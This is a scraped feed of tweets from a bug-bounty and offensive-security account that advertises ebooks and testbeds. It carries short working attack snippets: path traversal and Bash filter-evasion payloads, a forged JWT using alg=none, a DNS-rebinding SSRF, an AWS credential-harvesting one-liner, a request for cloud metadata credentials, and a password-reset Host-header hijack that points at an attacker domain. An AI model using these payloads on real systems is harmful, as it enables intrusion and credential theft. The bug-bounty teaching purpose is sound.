Tweets

Have a deeper understanding of security and get ready for its future in the Intelligence Age.

Brute Bundle

6 ebooks + XSS Cheat Sheet (bonus)

Cryptographic oracles, token forgery, SSRF chains, WAF/filter evasion and bug bounty fundamentals.

https://brutelogic.net/ebooks/brute-bundle

$149 value for just $99

Dead Infosec Theory

We don't see the $1k token bill behind the $500 bounty screenshot.

Brute-forcing an LLM through 10k requests to land 1 lucky payload is not autonomous security research.

It's a slot machine.

Infosec needs REPRODUCIBLE METHODOLOGY over marketing spin.

Review Your Recon Skills

1. Test against reKover's testbed

https://recon.brutelogic.net

2. Add reKover to your arsenal

https://github.com/BruteLogic/reKover

Reduce the noise, increase the signal.

Bypass by Doubling

Abuse different parsing layers by duplicating headers and fields.

Here's a (double) example:

POST /api/update HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Type: application/json

Know every way to break a JWT.

38 pages, 47 techniques.

https://brutelogic.net/ebooks/broken-token/jwt

With original research and tested payloads.

Path Traversal Bypasses

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

JWT NoAlg Bypass
(no sig needed)

Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.

Change the fields below accordingly.

echo -n '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."

#BugBounty #BrokenAuth

Broken Token Series - JWT and OAuth

https://brutelogic.net/ebooks/broken-token/jwt
https://brutelogic.net/ebooks/broken-token/oauth

Know every way to break to break those tokens.

Exclusive FFF PoC framework - Find, Forge and Fire.

What are your technical needs for cybersecurity now?

Let us know and we might figure a way to help you out.

We can build something customized for you.

You can benefit from our experience to level up your game.

Stop guessing at crypto bugs.

This gives you working bash/curl/Python PoCs that turn timing, size and status leaks into actual session hijacks, admin forges and CSRF extractions: the exact attacks that still pay on real programs.

https://brutelogic.net/ebooks/aftermath/statistical

Real math. Real PoCs.

First Bounty - How To Get It?

Focus your efforts on the vulnerability types that consistently deliver results for new hunters.

These account for the majority of first bounties and require systematic testing rather than advanced skills.

https://brutelogic.net/ebooks/first-bounty/#about

All the answers

JWT Authorization Bypass Testbed
https://403.brutelogic.net/authz/jwt

Broken Token JWT Ebook
https://brutelogic.net/ebooks/broken-token/jwt

LFR Alternative Payload for File://
(in PHP's file_get_contents() scenario)

php://filter/resource=/etc/?/../passwd

Reference: https://rodoassis.medium.com/on-ssrf-server-side-request-forgery-or-simple-stuff-rodolfo-found-part-i-4edf7ee75389

Security in Collapse
- Hacking the Intelligence Age

Get ready for the future of security.

Work in progress, free.

SSRF - TOCTOU DNS Rebind

Exploits the difference between validator and fetcher.

Localhost:
http://make-203.0.113.5-rebind-127.0.0.1-rr.1u .ms

Replace 127.0.0.1 with any internal target, cloud metadata included.

Brute Testbeds

XSS
https://gym.brutelogic.net

Recon
https://recon.brutelogic.net

403
https://403.brutelogic.net/access

JWT
https://403.brutelogic.net/authz/jwt

OAuth
https://403.brutelogic.net/authz/oauth

https://brutelogic.net

SSRF Fundamentals

Discovery methodology. Parser bypasses. Blind exploitation chains. Cloud metadata attacks.

Five chapters, one systematic path.

This field runs deeper than most hunters ever go.

https://brutelogic.net/ebooks/ssrf-mastery-series/fundamentals/

Methodology, payloads, tricks and an exclusive approach to vulnerabilities with original content.

If you are serious about Bug Bounty or Offensive Cybersecurity in general, this is for you.

Check them out.

Patch_Diffs -> New_Bugs

Langflow, an open-source tool for visually building AI agent and RAG pipelines, is another example of multiple hits by the same flaw.

CVE-2025-3248: user input to exec()
CVE-2026-33017: same sink, diff endpoint

1. Grep the sink, not the CVE
grep -rn

Stealth Hybrid URL Mapper - ReKover
https://github.com/BruteLogic/reKover

Most Common IDOR

URL path: /users/42/profile
Query string: ?orderId=9011
Request body: {"target_user": 42}
Custom header: X-Account-Id: 42
Cookie var: userid=42; tenant=7
File name: /uploads/a8f3d91c.pdf
GraphQL var: { user(id: 42) { email } }
JWT claim: "sub": 42, "tenant": 7

Path Normalization 403 Bypass

Nginx might fall for a mismatch in the location block.

Blocked
https://403.brutelogic.net:8080/access/nginx/path

Bypass
https://403.brutelogic.net:8080/./access/nginx/path

Single dot + slash: access granted.

Brute Bundle

AfterMath Statistical, Broken Token JWT and OAuth, SSRF Fundamentals, The Brute Art of Bypass and First Bounty.

Cryptographic oracles, token forgery, SSRF chains, WAF/filter evasion and bug bounty fundamentals.

https://brutelogic.net/ebooks/brute-bundle

All ebooks, one price.

Bash RCE Bypass Tricks

Empty Quote Split
c''at /etc//passwd

Brace Expansion
{cat,/etc//passwd}

IFS Space Replace
cat${IFS,}/etc//passwd

Wildcard Path
/???/ca? /e*/p*wd

Reverse Execution
$(rev<<<'dwssap/cte/ tac')

Base64 Self-Decode
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash

The Zip Bang for RCE

A zip extraction feature trusts the filenames inside the archive. No path sanitization, no traversal check.

We built a package with every common outcome baked in, one zip, five languages, five depth guesses, plus a root path targeting cron.

../b1.php

SSRF pays well and the attack surface keeps expanding. Most hunters test randomly and miss what matters.

Discovery, parser exploitation, blind confirmation chains, cloud metadata attacks. The path to consistent five-figure bounties.

http://brutelogic.net/ebooks/ssrf-mastery-series/fundamentals

Reset Link Hijack

1. Set your domain and target/victim

a=ATTACKER && curl https://TARGET/reset -d "email=VICTIM" -H "Host: $a" -H "X-Forwarded-Host: $a" -H "X-Host: $a"

2. Watch the logs

tail -f /var/log/apache2/./access.log | grep -i "token"

Victim clicks, token is yours.

ReKover - Stealth hybrid URL mapper

ReKover discovers URLs on a target by combining three phases into one fast pipeline:

1. Passive - extracts paths from robots.txt and sitemap.xml

2. Brute - probes a probability-weighted wordlist built as a L1→L2→L3 tree, covering the top

Start Hunting, Start Earning

Most newcomers go wide and find nothing. They pick the biggest targets, run the same tools everyone runs, and compete for bugs that were already found and fixed.

The ones who land something fast do the opposite. One target. Full surface mapped

The systematic guide to bypassing XSS filters and WAFs.

Learn the methodology that maps filter behavior, exploits human assumptions, and finds bypasses others miss.

https://brutelogic.net/ebooks/brute-art-bypass

Know every way to break a JWT.

Every technique, every payload, tested and ready.

Algorithm confusion, header field injection, claim manipulation, format attacks — including original research not documented in any public resource.

https://brutelogic.net/ebooks/broken-token/jwt

ReKover - Stealth hybrid URL mapper

Part of the King of Noobs suite, offensive recon tools built on KISS and the Pareto principle. Simple, fast, and effective.

https://github.com/BruteLogic/reKover

The slave who teaches the slave owner the most efficient way to be enslaved.

Is Bug Bounty now just about how many tokens you can spend to make your AI setup find bugs for you?

Explain why in the comments.

AWS Keys Finders

Live Domain
curl -s TARGET | grep -oP 'https?://[^"]+.js' | xargs -I{} curl -s {} | grep -oP 'A[KS]IA[0-9A-Z]{16}'

Public Repo
git clone --depth=1 TARGET/repo.git /tmp/r && grep -rP 'A[KS]IA[0-9A-Z]{16}' /tmp/r

Long-term and temporary keys. Critical findings.

Why Many Bug Hunters Fail

Too many bug hunters fail because they chase elite exploits they aren't ready to find.

The truth? The vast majority of first bounties come from the Big Three:

1. IDOR: bypassing access controls via manipulated params

2. Information Disclosure:

SSRF in LLM Image Function (LMDeploy)

curl TARGET/v1/chat/completions -H "Content-Type: application/json" -d '{"model":"MODEL","messages":[{"role":"user","content":[{"type":"image_url","image_url":{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}]}]}'

Security in Collapse v1.1

We wrote the doctrine before the research existed. The papers are arriving now.

Three studies landed since the first outline. Each confirms a pressure the framework already described.

1. Gerlich (2025, peer-reviewed): frequent AI use produces

XSS, SSRF, JWT, OAuth, Cryptography.
Actionable content. Bug Bounty.

Security in Collapse

AI is already deciding who gets loans, who gets hired, who gets heard, and who gets excluded: the vulnerable are paying the highest price.

Bias. Corporate values. Hallucinations. Institutional lies. These aren’t bugs. They’re features.

The machines we

AI Slop Has No Place in Security

AI agents generate code on the fly, orchestrate steps you didn't plan, and run things you can't predict or reproduce. On a production environment, a corporate network, or any target where your reputation is on the line, that is not a tool. That